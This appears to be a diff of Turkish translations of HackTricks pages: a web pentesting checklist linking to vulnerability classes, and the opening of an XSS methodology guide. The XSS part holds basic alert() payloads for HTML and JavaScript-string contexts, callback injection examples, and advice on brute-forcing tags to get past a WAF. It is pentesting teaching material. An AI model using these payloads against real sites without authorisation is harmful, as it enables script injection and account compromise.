- [ ] [**JWT Vulnerabilities**](hacking-jwt-json-web-tokens.md)
 | 
			
		||||
- [ ] [**XML External Entity**](xxe-xee-xml-external-entity.md)
 | 
			
		||||
@ -107,7 +107,7 @@ Dosya yüklemeye izin veren işlevler, çeşitli sorunlara karşı savunmasız o
 | 
			
		||||
Kullanıcı girişini içeren dosyalar oluşturan işlevler beklenmedik kod çalıştırabilir.\
 | 
			
		||||
Kullanıcıların, kullanıcılar tarafından yüklenen veya kullanıcı girişini içeren otomatik olarak oluşturulan dosyaları açması durumunda tehlikeye girebilir.
 | 
			
		||||
 | 
			
		||||
- [ ] [**File Upload**](file-upload/)
 | 
			
		||||
- [ ] [**File Upload**](file-upload/index.html)
 | 
			
		||||
- [ ] [**Formula Injection**](formula-csv-doc-latex-ghostscript-injection.md)
 | 
			
		||||
- [ ] [**PDF Injection**](xss-cross-site-scripting/pdf-injection.md)
 | 
			
		||||
- [ ] [**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
 | 
			
		||||
@ -115,7 +115,7 @@ Kullanıcıların, kullanıcılar tarafından yüklenen veya kullanıcı girişi
 | 
			
		||||
### **Dış Kimlik Yönetimi**
 | 
			
		||||
 | 
			
		||||
- [ ] [**OAUTH to Account takeover**](oauth-to-account-takeover.md)
 | 
			
		||||
- [ ] [**SAML Attacks**](saml-attacks/)
 | 
			
		||||
- [ ] [**SAML Attacks**](saml-attacks/index.html)
 | 
			
		||||
 | 
			
		||||
### **Diğer Yardımcı Zafiyetler**
 | 
			
		||||
 | 
			
		||||
@ -124,6 +124,6 @@ Bu zafiyetler, diğer zafiyetleri istismar etmeye yardımcı olabilir.
 | 
			
		||||
- [ ] [**Domain/Subdomain takeover**](domain-subdomain-takeover.md)
 | 
			
		||||
- [ ] [**IDOR**](idor.md)
 | 
			
		||||
- [ ] [**Parameter Pollution**](parameter-pollution.md)
 | 
			
		||||
- [ ] [**Unicode Normalization vulnerability**](unicode-injection/)
 | 
			
		||||
- [ ] [**Unicode Normalization vulnerability**](unicode-injection/index.html)
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -7,40 +7,40 @@ Her Web Pentest'te, **gizli ve belirgin birçok yerin savunmasız olabileceği**
 | 
			
		||||
## Proxies
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Günümüzde **web** **uygulamaları** genellikle bazı tür **aracı** **proxy'ler** kullanmaktadır, bunlar zafiyetleri istismar etmek için (kötüye) kullanılabilir. Bu zafiyetlerin var olması için savunmasız bir proxy'nin mevcut olması gerekir, ancak genellikle arka uçta da ek bir zafiyet gerektirir.
 | 
			
		||||
> Günümüzde **web** **uygulamaları** genellikle bazı tür **aracı** **proxy'ler** kullanır, bunlar zafiyetleri istismar etmek için (kötüye) kullanılabilir. Bu zafiyetlerin var olması için savunmasız bir proxy'nin mevcut olması gerekir, ancak genellikle arka uçta da ek bir zafiyet gerektirir.
 | 
			
		||||
 | 
			
		||||
- [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
 | 
			
		||||
- [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
 | 
			
		||||
- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/)
 | 
			
		||||
- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/index.html)
 | 
			
		||||
- [ ] [**H2C Smuggling**](../h2c-smuggling.md)
 | 
			
		||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
 | 
			
		||||
- [ ] [**Uncovering Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
 | 
			
		||||
- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
 | 
			
		||||
- [ ] [**Proxy / WAF Protections Bypass**](../proxy-waf-protections-bypass.md)
 | 
			
		||||
 | 
			
		||||
## **User input**
 | 
			
		||||
## **Kullanıcı girişi**
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Çoğu web uygulaması, **kullanıcıların daha sonra işlenecek bazı verileri girmesine izin verir.**\
 | 
			
		||||
> Sunucunun beklediği veri yapısına bağlı olarak bazı zafiyetler uygulanabilir veya uygulanmayabilir.
 | 
			
		||||
 | 
			
		||||
### **Reflected Values**
 | 
			
		||||
### **Yansıtılan Değerler**
 | 
			
		||||
 | 
			
		||||
Eğer girilen veriler bir şekilde yanıt içinde yansıyabiliyorsa, sayfa çeşitli sorunlara karşı savunmasız olabilir.
 | 
			
		||||
Eğer girilen veriler bir şekilde yanıtta yansıtılabiliyorsa, sayfa çeşitli sorunlara karşı savunmasız olabilir.
 | 
			
		||||
 | 
			
		||||
- [ ] [**Client Side Template Injection**](../client-side-template-injection-csti.md)
 | 
			
		||||
- [ ] [**Command Injection**](../command-injection.md)
 | 
			
		||||
- [ ] [**CRLF**](../crlf-0d-0a.md)
 | 
			
		||||
- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/)
 | 
			
		||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
 | 
			
		||||
- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html)
 | 
			
		||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
 | 
			
		||||
- [ ] [**Open Redirect**](../open-redirect.md)
 | 
			
		||||
- [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
 | 
			
		||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
 | 
			
		||||
- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/)
 | 
			
		||||
- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/)
 | 
			
		||||
- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/index.html)
 | 
			
		||||
- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/index.html)
 | 
			
		||||
- [ ] [**Reverse Tab Nabbing**](../reverse-tab-nabbing.md)
 | 
			
		||||
- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
 | 
			
		||||
- [ ] [**XSS**](../xss-cross-site-scripting/)
 | 
			
		||||
- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
 | 
			
		||||
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
 | 
			
		||||
- [ ] [**XS-Search**](../xs-search.md)
 | 
			
		||||
 | 
			
		||||
@ -50,80 +50,80 @@ Bahsedilen zafiyetlerin bazıları özel koşullar gerektirirken, diğerleri yal
 | 
			
		||||
../pocs-and-polygloths-cheatsheet/
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### **Search functionalities**
 | 
			
		||||
### **Arama işlevleri**
 | 
			
		||||
 | 
			
		||||
Eğer işlev, arka uçta bazı verileri aramak için kullanılabiliyorsa, belki de bunu keyfi verileri aramak için (kötüye) kullanabilirsiniz.
 | 
			
		||||
Eğer işlev, arka uçta bir tür veri aramak için kullanılabiliyorsa, belki de bunu keyfi verileri aramak için (kötüye) kullanabilirsiniz.
 | 
			
		||||
 | 
			
		||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
 | 
			
		||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
 | 
			
		||||
- [ ] [**NoSQL Injection**](../nosql-injection.md)
 | 
			
		||||
- [ ] [**LDAP Injection**](../ldap-injection.md)
 | 
			
		||||
- [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
 | 
			
		||||
- [ ] [**SQL Injection**](../sql-injection/)
 | 
			
		||||
- [ ] [**SQL Injection**](../sql-injection/index.html)
 | 
			
		||||
- [ ] [**XPATH Injection**](../xpath-injection.md)
 | 
			
		||||
 | 
			
		||||
### **Forms, WebSockets and PostMsgs**
 | 
			
		||||
### **Formlar, WebSocket'ler ve PostMsg'ler**
 | 
			
		||||
 | 
			
		||||
Bir websocket bir mesaj gönderdiğinde veya kullanıcıların eylem gerçekleştirmesine izin veren bir form olduğunda zafiyetler ortaya çıkabilir.
 | 
			
		||||
Bir websocket bir mesaj gönderdiğinde veya kullanıcıların eylemler gerçekleştirmesine izin veren bir form olduğunda zafiyetler ortaya çıkabilir.
 | 
			
		||||
 | 
			
		||||
- [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
 | 
			
		||||
- [ ] [**Cross-site WebSocket hijacking (CSWSH)**](../websocket-attacks.md)
 | 
			
		||||
- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/)
 | 
			
		||||
- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/index.html)
 | 
			
		||||
 | 
			
		||||
### **HTTP Headers**
 | 
			
		||||
### **HTTP Başlıkları**
 | 
			
		||||
 | 
			
		||||
Web sunucusu tarafından verilen HTTP başlıklarına bağlı olarak bazı zafiyetler mevcut olabilir.
 | 
			
		||||
 | 
			
		||||
- [ ] [**Clickjacking**](../clickjacking.md)
 | 
			
		||||
- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/)
 | 
			
		||||
- [ ] [**Cookies Hacking**](../hacking-with-cookies/)
 | 
			
		||||
- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/index.html)
 | 
			
		||||
- [ ] [**Cookies Hacking**](../hacking-with-cookies/index.html)
 | 
			
		||||
- [ ] [**CORS - Misconfigurations & Bypass**](../cors-bypass.md)
 | 
			
		||||
 | 
			
		||||
### **Bypasses**
 | 
			
		||||
### **Bypass'ler**
 | 
			
		||||
 | 
			
		||||
Bazı özel işlevlerde, bunları aşmak için bazı geçici çözümler yararlı olabilir.
 | 
			
		||||
 | 
			
		||||
- [ ] [**2FA/OTP Bypass**](../2fa-bypass.md)
 | 
			
		||||
- [ ] [**Bypass Payment Process**](../bypass-payment-process.md)
 | 
			
		||||
- [ ] [**Captcha Bypass**](../captcha-bypass.md)
 | 
			
		||||
- [ ] [**Login Bypass**](../login-bypass/)
 | 
			
		||||
- [ ] [**Login Bypass**](../login-bypass/index.html)
 | 
			
		||||
- [ ] [**Race Condition**](../race-condition.md)
 | 
			
		||||
- [ ] [**Rate Limit Bypass**](../rate-limit-bypass.md)
 | 
			
		||||
- [ ] [**Reset Forgotten Password Bypass**](../reset-password.md)
 | 
			
		||||
- [ ] [**Registration Vulnerabilities**](../registration-vulnerabilities.md)
 | 
			
		||||
 | 
			
		||||
### **Structured objects / Specific functionalities**
 | 
			
		||||
### **Yapılandırılmış nesneler / Özel işlevler**
 | 
			
		||||
 | 
			
		||||
Bazı işlevler, **verilerin çok özel bir formatta yapılandırılmasını** gerektirir (örneğin, bir dil serileştirilmiş nesne veya XML). Bu nedenle, uygulamanın bu tür verileri işleyip işlemediğini belirlemek daha kolaydır.\
 | 
			
		||||
Bazı işlevler, **verilerin çok özel bir formatta yapılandırılmasını** gerektirir (örneğin, bir dil serileştirilmiş nesne veya XML). Bu nedenle, uygulamanın bu tür verileri işlemesi gerektiğinden, savunmasız olup olmadığını belirlemek daha kolaydır.\
 | 
			
		||||
Bazı **özel işlevler**, **girişin belirli bir formatta kullanılması** durumunda da savunmasız olabilir (örneğin, Email Header Injections).
 | 
			
		||||
 | 
			
		||||
- [ ] [**Deserialization**](../deserialization/)
 | 
			
		||||
- [ ] [**Deserialization**](../deserialization/index.html)
 | 
			
		||||
- [ ] [**Email Header Injection**](../email-injections.md)
 | 
			
		||||
- [ ] [**JWT Vulnerabilities**](../hacking-jwt-json-web-tokens.md)
 | 
			
		||||
- [ ] [**XML External Entity**](../xxe-xee-xml-external-entity.md)
 | 
			
		||||
 | 
			
		||||
### Files
 | 
			
		||||
### Dosyalar
 | 
			
		||||
 | 
			
		||||
Dosya yüklemeye izin veren işlevler, çeşitli sorunlara karşı savunmasız olabilir.\
 | 
			
		||||
Kullanıcı girdisini içeren dosyalar oluşturan işlevler beklenmedik kod çalıştırabilir.\
 | 
			
		||||
Kullanıcıların yüklediği veya kullanıcı girdisini içeren otomatik olarak oluşturulan dosyaları açan kullanıcılar tehlikeye girebilir.
 | 
			
		||||
Kullanıcı girişini içeren dosyalar oluşturan işlevler beklenmedik kod çalıştırabilir.\
 | 
			
		||||
Kullanıcıların, kullanıcılar tarafından yüklenen veya kullanıcı girişini içeren otomatik olarak oluşturulan dosyaları açması durumunda tehlikeye girebilir.
 | 
			
		||||
 | 
			
		||||
- [ ] [**File Upload**](../file-upload/)
 | 
			
		||||
- [ ] [**File Upload**](../file-upload/index.html)
 | 
			
		||||
- [ ] [**Formula Injection**](../formula-csv-doc-latex-ghostscript-injection.md)
 | 
			
		||||
- [ ] [**PDF Injection**](../xss-cross-site-scripting/pdf-injection.md)
 | 
			
		||||
- [ ] [**Server Side XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
 | 
			
		||||
 | 
			
		||||
### **External Identity Management**
 | 
			
		||||
### **Dış Kimlik Yönetimi**
 | 
			
		||||
 | 
			
		||||
- [ ] [**OAUTH to Account takeover**](../oauth-to-account-takeover.md)
 | 
			
		||||
- [ ] [**SAML Attacks**](../saml-attacks/)
 | 
			
		||||
- [ ] [**SAML Attacks**](../saml-attacks/index.html)
 | 
			
		||||
 | 
			
		||||
### **Other Helpful Vulnerabilities**
 | 
			
		||||
### **Diğer Yardımcı Zafiyetler**
 | 
			
		||||
 | 
			
		||||
Bu zafiyetler, diğer zafiyetleri istismar etmeye yardımcı olabilir.
 | 
			
		||||
 | 
			
		||||
- [ ] [**Domain/Subdomain takeover**](../domain-subdomain-takeover.md)
 | 
			
		||||
- [ ] [**IDOR**](../idor.md)
 | 
			
		||||
- [ ] [**Parameter Pollution**](../parameter-pollution.md)
 | 
			
		||||
- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/)
 | 
			
		||||
- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/index.html)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -2,30 +2,30 @@
 | 
			
		||||
 | 
			
		||||
## Methodoloji
 | 
			
		||||
 | 
			
		||||
1. **Kontrol ettiğiniz herhangi bir değerin** (_parametreler_, _yol_, _başlıklar_?, _çerezler_?) HTML'de **yansıtılıp** yansıtılmadığını veya **JS** kodu tarafından **kullanılıp kullanılmadığını** kontrol edin.
 | 
			
		||||
1. **Kontrol ettiğiniz herhangi bir değerin** (_parametreler_, _yol_, _başlıklar_?, _çerezler_?) HTML'de **yansıtılıp** **JS** kodu tarafından **kullanılıp kullanılmadığını** kontrol edin.
 | 
			
		||||
2. **Yansıtıldığı/kullanıldığı bağlamı** bulun.
 | 
			
		||||
3. Eğer **yansıtılmışsa**:
 | 
			
		||||
1. **Hangi sembolleri kullanabileceğinizi** kontrol edin ve buna bağlı olarak yükü hazırlayın:
 | 
			
		||||
1. **Ham HTML'de**:
 | 
			
		||||
1. Yeni HTML etiketleri oluşturabilir misiniz?
 | 
			
		||||
2. `javascript:` protokolünü destekleyen olaylar veya öznitelikler kullanabilir misiniz?
 | 
			
		||||
2. `javascript:` protokolünü destekleyen olayları veya öznitelikleri kullanabilir misiniz?
 | 
			
		||||
3. Koruma mekanizmalarını aşabilir misiniz?
 | 
			
		||||
4. HTML içeriği herhangi bir istemci tarafı JS motoru (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyor mu, [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md) istismar edebilirsiniz.
 | 
			
		||||
5. JS kodunu çalıştıran HTML etiketleri oluşturamıyorsanız, [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/) istismar edebilir misiniz?
 | 
			
		||||
2. Bir **HTML etiketinin** içinde:
 | 
			
		||||
5. JS kodu yürüten HTML etiketleri oluşturamıyorsanız, [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) istismar edebilir misiniz?
 | 
			
		||||
2. **HTML etiketinin içinde**:
 | 
			
		||||
1. Ham HTML bağlamına çıkabilir misiniz?
 | 
			
		||||
2. JS kodunu çalıştırmak için yeni olaylar/öznitelikler oluşturabilir misiniz?
 | 
			
		||||
3. Sıkıştığınız öznitelik JS yürütmesini destekliyor mu?
 | 
			
		||||
4. Koruma mekanizmalarını aşabilir misiniz?
 | 
			
		||||
3. **JavaScript kodunun** içinde:
 | 
			
		||||
3. **JavaScript kodunun içinde**:
 | 
			
		||||
1. `<script>` etiketini kaçırabilir misiniz?
 | 
			
		||||
2. Dizeyi kaçırabilir ve farklı JS kodu çalıştırabilir misiniz?
 | 
			
		||||
3. Girdiğiniz değer şablon literalleri \`\` içinde mi?
 | 
			
		||||
2. Dizeyi kaçırıp farklı JS kodu çalıştırabilir misiniz?
 | 
			
		||||
3. Girdiğiniz şablon literalleri \`\` içinde mi?
 | 
			
		||||
4. Koruma mekanizmalarını aşabilir misiniz?
 | 
			
		||||
4. Javascript **fonksiyonu** **çalıştırılıyor**:
 | 
			
		||||
1. Çalıştırılacak fonksiyonun adını belirtebilirsiniz. örneğin: `?callback=alert(1)`
 | 
			
		||||
4. Eğer **kullanılıyorsa**:
 | 
			
		||||
1. **DOM XSS** istismar edebilirsiniz, girdinizin nasıl kontrol edildiğine ve **kontrol edilen girdinizin herhangi bir sink tarafından kullanılıp kullanılmadığına** dikkat edin.
 | 
			
		||||
1. **DOM XSS** istismar edebilirsiniz, girdinizin nasıl kontrol edildiğine ve **kontrol ettiğiniz girdinin herhangi bir sink tarafından kullanılıp kullanılmadığına** dikkat edin.
 | 
			
		||||
 | 
			
		||||
Karmaşık bir XSS üzerinde çalışırken bilmek ilginç olabilir:
 | 
			
		||||
 | 
			
		||||
@ -37,13 +37,13 @@ debugging-client-side-js.md
 | 
			
		||||
 | 
			
		||||
Bir XSS'i başarıyla istismar etmek için bulmanız gereken ilk şey, web sayfasında **yansıtılan sizin kontrolünüzdeki bir değerdir**.
 | 
			
		||||
 | 
			
		||||
- **Ara yansıtılmış**: Bir parametrenin veya hatta yolun değerinin web sayfasında yansıtıldığını bulursanız, **Yansıtılmış XSS** istismar edebilirsiniz.
 | 
			
		||||
- **Saklanmış ve yansıtılmış**: Kontrolünüzdeki bir değerin sunucuda kaydedildiğini ve her sayfaya eriştiğinizde yansıtıldığını bulursanız, **Saklanmış XSS** istismar edebilirsiniz.
 | 
			
		||||
- **JS ile erişilen**: Kontrolünüzdeki bir değerin JS kullanılarak erişildiğini bulursanız, **DOM XSS** istismar edebilirsiniz.
 | 
			
		||||
- **Ara yansıtma**: Bir parametrenin veya hatta yolun değerinin web sayfasında yansıtıldığını bulursanız, **Yansıtılmış XSS** istismar edebilirsiniz.
 | 
			
		||||
- **Saklanan ve yansıtılan**: Kontrol ettiğiniz bir değerin sunucuda kaydedildiğini ve her sayfaya eriştiğinizde yansıtıldığını bulursanız, **Saklanan XSS** istismar edebilirsiniz.
 | 
			
		||||
- **JS ile erişilen**: Kontrol ettiğiniz bir değerin JS kullanılarak erişildiğini bulursanız, **DOM XSS** istismar edebilirsiniz.
 | 
			
		||||
 | 
			
		||||
## Bağlamlar
 | 
			
		||||
 | 
			
		||||
Bir XSS'i istismar etmeye çalışırken bilmeniz gereken ilk şey, **girdinizin nerede yansıtıldığıdır**. Bağlama bağlı olarak, farklı yollarla keyfi JS kodu çalıştırabileceksiniz.
 | 
			
		||||
Bir XSS'i istismar etmeye çalışırken bilmeniz gereken ilk şey, **girdinizin nerede yansıtıldığıdır**. Bağlama bağlı olarak, farklı şekillerde keyfi JS kodu çalıştırabileceksiniz.
 | 
			
		||||
 | 
			
		||||
### Ham HTML
 | 
			
		||||
 | 
			
		||||
@ -70,7 +70,7 @@ Kontrol ettiğiniz bir sınıf adı varsa Angular'ın XSS'i çalıştırdığı
 | 
			
		||||
Bu durumda, girdiniz bir HTML sayfasının **`<script> [...] </script>`** etiketleri arasında, bir `.js` dosyası içinde veya bir öznitelik içinde **`javascript:`** protokolü kullanılarak yansıtılır:
 | 
			
		||||
 | 
			
		||||
- Eğer **`<script> [...] </script>`** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `</script>` enjekte etmeyi deneyebilirsiniz ve bu bağlamdan çıkabilirsiniz. Bu, **tarayıcının önce HTML etiketlerini** ayrıştırmasından ve ardından içeriği işlemesinden dolayı çalışır; bu nedenle, enjekte ettiğiniz `</script>` etiketinin HTML kodu içinde olduğunu fark etmeyecektir.
 | 
			
		||||
- Eğer **bir JS dizesi içinde** yansıtılıyorsa ve son numara çalışmıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekir (herhangi bir hata varsa, çalıştırılmayacaktır):
 | 
			
		||||
- Eğer **bir JS dizesi içinde** yansıtılıyorsa ve son hile işe yaramıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekecektir (herhangi bir hata varsa, çalıştırılmayacaktır):
 | 
			
		||||
- `'-alert(1)-'`
 | 
			
		||||
- `';-alert(1)//`
 | 
			
		||||
- `\';alert(1)//`
 | 
			
		||||
@ -83,7 +83,7 @@ alert(1)
 | 
			
		||||
```
 | 
			
		||||
#### Javascript Hoisting
 | 
			
		||||
 | 
			
		||||
Javascript Hoisting, **kullanıldıktan sonra fonksiyonları, değişkenleri veya sınıfları tanımlama fırsatını ifade eder, böylece XSS'in tanımsız değişkenler veya fonksiyonlar kullandığı senaryoları kötüye kullanabilirsiniz.**\
 | 
			
		||||
Javascript Hoisting, **kullanıldıktan sonra fonksiyonları, değişkenleri veya sınıfları tanımlama fırsatını ifade eder, böylece XSS'nin tanımsız değişkenler veya fonksiyonlar kullandığı senaryoları kötüye kullanabilirsiniz.**\
 | 
			
		||||
**Daha fazla bilgi için aşağıdaki sayfayı kontrol edin:**
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
@ -98,7 +98,7 @@ Kullanıcı tarafından doğrudan verilen bir şeyin çalıştırılmaya çalı
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
Eğer zayıfsa, sadece değeri göndererek **bir uyarı tetikleyebilirsiniz**: **`?callback=alert(1)`**. Ancak, bu uç noktaların genellikle **içeriği doğrulaması** ve yalnızca harfler, sayılar, noktalar ve alt çizgiler (**`[\w\._]`**) kullanmasına izin vermesi oldukça yaygındır.
 | 
			
		||||
Eğer zayıfsa, sadece değeri göndererek **bir uyarı tetikleyebilirsiniz**: **`?callback=alert(1)`**. Ancak, bu uç noktaların genellikle **içeriği doğrulaması** ve yalnızca harfler, sayılar, noktalar ve alt çizgiler (**`[\w\._]`**) gibi karakterlere izin vermesi oldukça yaygındır.
 | 
			
		||||
 | 
			
		||||
Ancak, bu sınırlamaya rağmen bazı eylemleri gerçekleştirmek hala mümkündür. Bunun nedeni, bu geçerli karakterleri kullanarak **DOM'daki herhangi bir öğeye erişebilmenizdir**:
 | 
			
		||||
 | 
			
		||||
@ -112,7 +112,7 @@ nextElementSibiling
 | 
			
		||||
lastElementSibiling
 | 
			
		||||
parentElement
 | 
			
		||||
```
 | 
			
		||||
Doğrudan **Javascript fonksiyonlarını tetiklemeyi** de deneyebilirsiniz: `obj.sales.delOrders`.
 | 
			
		||||
Ayrıca **Javascript fonksiyonlarını** doğrudan tetiklemeyi deneyebilirsiniz: `obj.sales.delOrders`.
 | 
			
		||||
 | 
			
		||||
Ancak, genellikle belirtilen fonksiyonu yürüten uç noktalar, çok ilginç DOM'a sahip olmayan uç noktalardır, **aynı kök içindeki diğer sayfalar** daha fazla işlem yapmak için **daha ilginç bir DOM** içerecektir.
 | 
			
		||||
 | 
			
		||||
@ -124,7 +124,7 @@ some-same-origin-method-execution.md
 | 
			
		||||
 | 
			
		||||
### DOM
 | 
			
		||||
 | 
			
		||||
**JS kodu**, **bir saldırgan tarafından kontrol edilen** bazı **verileri** **güvensiz bir şekilde** kullanmaktadır, örneğin `location.href`. Bir saldırgan, bunu kullanarak keyfi JS kodu çalıştırabilir.
 | 
			
		||||
**JS kodu** bazı **saldırgan tarafından kontrol edilen** verileri **güvensiz bir şekilde** kullanmaktadır, örneğin `location.href`. Bir saldırgan, bunu keyfi JS kodu yürütmek için istismar edebilir.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
dom-xss.md
 | 
			
		||||
@ -132,7 +132,7 @@ dom-xss.md
 | 
			
		||||
 | 
			
		||||
### **Evrensel XSS**
 | 
			
		||||
 | 
			
		||||
Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **keyfi JavaScript yürütmesi**, **RCE** elde etmek, istemcilerde ve sunucularda **keyfi dosyaları** okumak ve daha fazlası için de istismar edilebilir.\
 | 
			
		||||
Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **keyfi JavaScript yürütme** bile **RCE** elde etmek, istemcilerde ve sunucularda **keyfi** **dosyaları** **okumak** ve daha fazlası için istismar edilebilir.\
 | 
			
		||||
Bazı **örnekler**:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
@ -143,13 +143,13 @@ server-side-xss-dynamic-pdf.md
 | 
			
		||||
../../network-services-pentesting/pentesting-web/electron-desktop-apps/
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
## WAF atlatma kodlama resmi
 | 
			
		||||
## WAF atlatma kodlaması resmi
 | 
			
		||||
 | 
			
		||||
.jpg>)
 | 
			
		||||
 | 
			
		||||
## Ham HTML içinde enjekte etme
 | 
			
		||||
 | 
			
		||||
Girdiğiniz değer **HTML sayfasında** yansıtıldığında veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey `<` karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: O **karakteri** **yansıtmayı** deneyin ve **HTML kodlaması** yapılıp yapılmadığını veya **silinip silinmediğini** ya da **değişiklik olmadan yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebilirsiniz**.\
 | 
			
		||||
Girdiğiniz değer **HTML sayfası içinde** yansıtıldığında veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey `<` karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: O **karakteri** **yansıtmayı** deneyin ve **HTML kodlaması** yapılıp yapılmadığını veya **silinip silinmediğini** ya da **değişiklik olmadan yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebilirsiniz**.\
 | 
			
		||||
Bu durumlar için ayrıca **[Müşteri Tarafı Şablon Enjeksiyonu](../client-side-template-injection-csti.md)**'nu da **aklınızda bulundurun**.\
 | 
			
		||||
&#xNAN;_**Not: Bir HTML yorumu, \*\*\*\*\*\*** \***\*`-->`\*\*** \***\*veya \*\*\*\*\*\***`--!>`\*\** ile kapatılabilir._
 | 
			
		||||
 | 
			
		||||
@ -161,16 +161,16 @@ alert(1)
 | 
			
		||||
<img src="x" onerror="alert(1)" />
 | 
			
		||||
<svg onload=alert('XSS')>
 | 
			
		||||
```
 | 
			
		||||
Ama, eğer etiketler/özellikler siyah/beyaz listeleme kullanılıyorsa, hangi etiketleri oluşturabileceğinizi **brute-force** etmeniz gerekecek.\
 | 
			
		||||
Hangi etiketlerin izin verildiğini **bulduktan** sonra, bağlamı nasıl saldırıya uğratabileceğinizi görmek için bulunan geçerli etiketler içindeki **özellikleri/olayları brute-force** etmeniz gerekecek.
 | 
			
		||||
Ancak, eğer etiketler/özellikler siyah/beyaz listeleme kullanılıyorsa, hangi etiketleri oluşturabileceğinizi **brute-force** etmeniz gerekecek.\
 | 
			
		||||
Hangi etiketlerin izin verildiğini **bulduktan** sonra, bulunan geçerli etiketler içinde **özellikler/olaylar** brute-force yaparak bağlamı nasıl saldırıya uğratabileceğinizi görmeniz gerekecek.
 | 
			
		||||
 | 
			
		||||
### Etiketler/Olaylar brute-force
 | 
			
		||||
 | 
			
		||||
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ seçeneğine tıklayın. Ardından, bunların hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm olayları brute-force** edebilirsiniz (aynı web sayfasında _**Olayları panoya kopyala**_ seçeneğine tıklayın ve önceki prosedürü izleyin).
 | 
			
		||||
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ seçeneğine tıklayın. Ardından, hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm olayları brute-force** yapabilirsiniz (aynı web sayfasında _**Olayları panoya kopyala**_ seçeneğine tıklayın ve daha önceki prosedürü takip edin).
 | 
			
		||||
 | 
			
		||||
### Özel etiketler
 | 
			
		||||
 | 
			
		||||
